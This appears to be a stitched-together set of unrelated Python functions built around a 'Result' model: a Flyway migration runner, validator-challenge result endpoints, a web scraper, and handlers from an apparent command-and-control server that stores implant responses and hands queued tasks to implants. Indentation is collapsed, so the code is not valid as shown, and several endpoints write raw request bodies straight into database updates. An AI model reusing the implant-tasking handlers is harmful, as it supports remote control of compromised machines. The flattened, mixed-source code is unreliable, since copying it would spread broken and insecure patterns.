def db_migrate(configFile): flyway_dir = os.path.join(FLYWAY_BASEDIR, 'flyway') config_dir = os.path.join(FLYWAY_BASEDIR, 'conf') config_file = os.path.join(config_dir, configFile) res = subprocess.getstatusoutput("{0} -configFiles={1} migrate".format( flyway_dir, config_file)) result = Result(migrate_id=db_migrate.request.id, migrate_status=res[0], migrate_result=res[1]) result.save() return res
def update_pvauser_result_via_add(pvaadd, challengename): body = request.get_json() print(body) try: pvaobj = PVAParticipant.objects.get(validatoraddress=pvaadd) except: print("validator non existent") return {"result": "nok", "message": "validator non existent"}, 400 try: Result.objects(pvauser=pvaobj.id, gamename=challengename).update(**body) return f"{{\"result\": \"ok\", \"message\":\"{challengename} updated\"}}", 200 except: return {"result": "nok", "message": "update failed"}, 400
def get_items(self, url, debug=settings.SCRAPER_DEBUG): if debug: logger.debug('Debug mode: Scraping from file...') with open('scraper/output.html') as f: return [Result(**item) for item in self.parse_html(f.read())] items = [] next_page_url = url while next_page_url and not self._rate_limit_reached: logger.debug( f'Pausing before request for ' f'{settings.REQUEST_PAUSE_SECONDS}s...' ) time.sleep(settings.REQUEST_PAUSE_SECONDS) html = self.fetch_url(next_page_url) if self._rate_limit_reached: continue for item in self.parse_html(html): items.append(Result(**item)) next_page_url = self.get_next_page_url(html) logger.debug(f'Next page: {next_page_url}') return items
def post(self): # Check if results from the implant are populated if str(request.get_json()) != '{}': # Parse out the result JSON that we want to add to the database body = request.get_json() print("Received implant response: {}".format(body)) json_obj = json.loads(json.dumps(body)) # Add a result UUID to each result object for tracking json_obj['result_id'] = str(uuid.uuid4()) Result(**json_obj).save() # Serve latest tasks to implant tasks = Task.objects().to_json() # Clear tasks so they don't execute twice Task.objects().delete() return Response(tasks, mimetype="application/json", status=200) else: # Serve latest tasks to implant tasks = Task.objects().to_json() # Clear tasks so they don't execute twice Task.objects().delete() return Response(tasks, mimetype="application/json", status=200)
def create_pvauser_result_via_add(pvaadd, challengename): body = request.get_json() try: pvaobj = PVAParticipant.objects.get(validatoraddress=pvaadd) except: print("validator non existent") return {"result": "nok", "message": "validator non existent"}, 400 print(pvaobj.id) content = { "pvauser": pvaobj.id, "gamename": challengename, "gameresult": 1 } try: Result(**content).save() return {"result": "ok", "message": "game created"}, 200 except: return { "result": "nok", "message": "result not created, most likely already created" }, 400
def get(self): # Get all the task history objects so we can return them to the user task_history = TaskHistory.objects().to_json() # Update any served tasks with results from implant # Get all the result objects and return them to the user results = Result.objects().to_json() json_obj = json.loads(results) # Format each result from the implant to be more friendly for consumption/display result_obj_collection = [] for i in range(len(json_obj)): for field in json_obj[i]: result_obj = { "task_id": field, "task_results": json_obj[i][field] } result_obj_collection.append(result_obj) # For each result in the collection, check for a corresponding task ID and if # there's a match, update it with the results. This is hacky and there's probably # a more elegant solution to update tasks with their results when they come in... for result in result_obj_collection: if TaskHistory.objects(task_id=result["task_id"]): TaskHistory.objects(task_id=result["task_id"]).update_one( set__task_results=result["task_results"]) return Response(task_history, mimetype="application/json", status=200)
def get(self): # Get all the result objects and return them to the user results = Result.objects().to_json() return Response(results, mimetype="application.json", status=200)
def add_pvauser_result(pvaid): body = request.get_json() print(body) pvauserresult = Result(**body).save() id = pvauserresult.id return {"id": str(id)}, 200
def get_pvauser_results(pvaid): result = Result.objects(pvauser=pvaid).to_json() return Response(result, mimetype="application/json", status=200)
def get_results(): result = Result.objects().to_json() return Response(result, mimetype="application/json", status=200)
def get_pvauser_result_via_add(pvaadd, challengename): pvaid = PVAParticipant.objects.get(validatoraddress=pvaadd) result = Result.objects(pvauser=pvaid, gamename=challengename).to_json() print(result) return Response(result, mimetype="application/json", status=200)
def update_pvauser_result(pvaid, challengename): body = request.get_json() print(body) Result.objects(pvauser=pvaid, gamename=challengename).update(**body) return {"result": "ok"}, 200
def get_pvauser_result(pvaid, challengename): result = Result.objects(pvauser=pvaid, gamename=challengename).to_json() return Response(result, mimetype="application/json", status=200)